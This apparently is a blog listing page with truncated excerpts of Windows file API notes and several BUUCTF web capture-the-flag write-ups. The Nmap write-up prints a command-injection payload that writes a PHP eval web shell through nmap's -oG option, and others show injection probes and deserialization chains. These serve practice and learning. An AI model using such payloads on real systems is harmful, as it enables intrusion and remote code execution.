文件类API学习-ReadFile和WriteFile
ReadFile基本概念ReadFile是Windows API(Win32 API) 中的核心文件I/O函数,用于从已打开的文件、设备(如串口、管道、磁盘分区)或I/O对象中读取数据,是Windows系统下底层数据读取的基础接口。它支持 同步读取和异步读取两种模式,适用于几乎所有Windows可访问的I/O设备。ReadFile 的返回值为BOOL类型,仅表示 函数调用是否成功启动/完成,不直接代表 “是否读取到数据”:返回 TRUE: 同步模式:读取操作已完成(可能读取到0字节,如文件末尾); 异步模式:读取操作已成功提交(需后续通过WaitForSingleObject、GetOverlappedResult等确认完成)。返回FALSE: 操作失败,需通过GetLastError()函数获取具体错误码,常见错误包括: ERROR_HANDLE_EOF:已到达文件末尾(EOF),无更多数据可读; ERROR_ACCESS_DENIED:文件句柄无读权限; ERROR_IO_PENDING:异步操作尚未完成(...
文件类API学习-CreateFile
基本概念CreateFile是Windows系统编程中最核心的API函数之一,创建或打开文件或I/O设备。 最常用的I/O设备如下所示:文件、文件流、目录、物理磁盘、卷、控制台缓冲区、磁带驱动器、通信资源、mailslot 和管道。 该函数返回一个句柄,该句柄可用于访问各种类型的I/O的文件或设备,具体取决于文件或设备以及指定的标志和属性。CreateFile 本身并非实际函数,而是一个条件编译宏,根据项目是否定义UNICODE宏,自动映射到两个实际实现: CreateFileW:宽字符(Unicode/UTF-16)版本,接受LPCWSTR类型路径,支持多语言(如中文)路径,是现代应用的推荐选择。 CreateFileA:ANSI 版本,接受单字节字符串(LPCSTR),仅支持英文字符及有限扩展字符,已逐渐被淘汰。 语法123456789HANDLE CreateFile( LPCWSTR lpFileName, // 文件名 DWORD dwDesiredAccess, // 请求...
BUUCTF-Web-[NPUCTF2020]ReadlezPHP
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,F12查看源码,发现./time.php?source,访问试试,发现源码, 12345678910111213141516171819202122232425<?php#error_reporting(0);class HelloPhp{ public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a);//动态调用函数 }}$c = new HelloPhp;if(isset($_GET[...
BUUCTF-Web-[强网杯 2019]高明的黑客
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,发现已经把源码给我们了,直接通过URL下载,打开文件发现有很多php文件,不知道哪个是我们要找的,其他地方也没有提示,随便打开几个文件,发现有很多GET,POST传参,而且有些传参参与system,eval等命令函数,一个一个试太麻烦,我们需要编写代码帮我们筛选, 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152import requestsimport osimport re# 配置目标URL和源码路径(直接在这里修改)url = 'http://36d3d08f-a863-4ceb-a6cf-a1a5cbffbf98.node5.buuoj.cn:81/' # 修改为你的目标URLpath = 'D:\下载\www\src' # 修改为你的源码路径ptn_get = re.compile(br"\$_...
BUUCTF-Web-[网鼎杯 2020 朱雀组]Nmap
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,看到一个扫描IP的执行框,查看源码可以得到flag文件位置,输入个IP试试,回显结果很像Nmap扫描结果,结和题目可以确定这道题考查Nmap扫描命令,然后他会把扫描结果放进一个文件里。尝试直接拼接命令, 1127.0.0.1 ;ls 多了个转义符号,测试一下单引号', 1127.0.0.1 'ls 根据上面的回显可以推测后端有escapeshellarg()和escapeshellcmd()对传入的参数的过滤,这道题的源码逻辑和[BUUCTF 2018]Online Tool很相似,都是这两个函数一起使用产生的漏洞点,构造语句写入一句话木马,payload: 1'<?php @eval($_POST["hack"]);?> -oG hack.php ' //末尾的空格不能忽略,不然文件名会变为hack.php' 会多个引号 有过滤,检测发现是php被过滤, 1'<?= @eval($_POST[&quo...
BUUCTF-Web-[安洵杯 2019]easy_serialize_php1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,点击超链接可以看到源码,代码审计, 12345678910111213141516171819202122232425262728293031323334353637383940 <?php$function = @$_GET['f'];// 从URL参数获取f的值function filter($img){// 过滤掉黑名单中的字符串 $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ u...
BUUCTF-Web-[WesternCTF2018]shrine1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,直接看到源码,但是右键查看源码会更好一点, 1234567891011121314151617181920212223242526import flask # 导入Flask框架,用来创建网站import os # 导入操作系统模块,用来处理文件和环境变量app = flask.Flask(__name__) # 创建一个Flask网站应用app.config['FLAG'] = os.environ.pop('FLAG')#从环境变量中取出名为'FLAG'的值,把取出的值存到网站的配置中@app.route('/') # 当有人访问网站根目录时def index(): return open(__file__).read()# 打开当前文件并返回内容@app.route('/shrine/<path:shrine>')# 当访问/shrine/任意内容时def sh...
BUUCTF-Web-[安洵杯 2019]easy_web
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,注意到URL有两个GET传参img和cmd,我们先对img参数进行解码,TXpVek5UTTFNbVUzTURabE5qYz0base64解码MzUzNTM1MmU3MDZlNjc=,MzUzNTM1MmU3MDZlNjc=base64解码3535352e706e67,3535352e706e6716进制解码555.png,竟然是png文件,那通过img参数可不可以读取其他文件呢,index.php16进制编码696e6465782e706870,696e6465782e706870base64编码Njk2ZTY0NjU3ODJlNzA2ODcw,Njk2ZTY0NjU3ODJlNzA2ODcwbase64编码TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,传入?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,将img表情里面base64后面的字段进行base64解码,获得源码,进行代码审计, 123456789101112131415161718192...
BUUCTF-Web-[MRCTF2020]PYWebsite1
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助 打开靶机,是一个介绍购买的界面,看看源码, 12345678910111213141516171819202122232425function enc(code){ hash = hex_md5(code); // 调用之前定义的 hex_md5 函数计算 code 的 MD5 值 return hash; // 返回计算出的 MD5 哈希值(32位十六进制字符串)} function validate(){ // 获取页面上 ID 为 "vcode" 的输入框的值 var code = document.getElementById("vcode").value; // 检查输入是否为空 if (code != ""){ // 核心验证逻辑:计算输入值的MD5,并与硬编码的正确MD5进行比较 if(hex_md5(code) == &qu...
BUUCTF-Web-[MRCTF2020]Ezpop
打开靶机,直接给我们源码,代码审计, 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<?phpclass Modifier { protected $var; public function append($value){ include($value); // 危险操作:任意文件包含 } public function __invoke(){ //__invoke():当对象被当作函数调用时自动触发 $this->append($this->var); // 触发文件包含 }}class Show{ public $source; public $str; public function __construct($file='index.php')...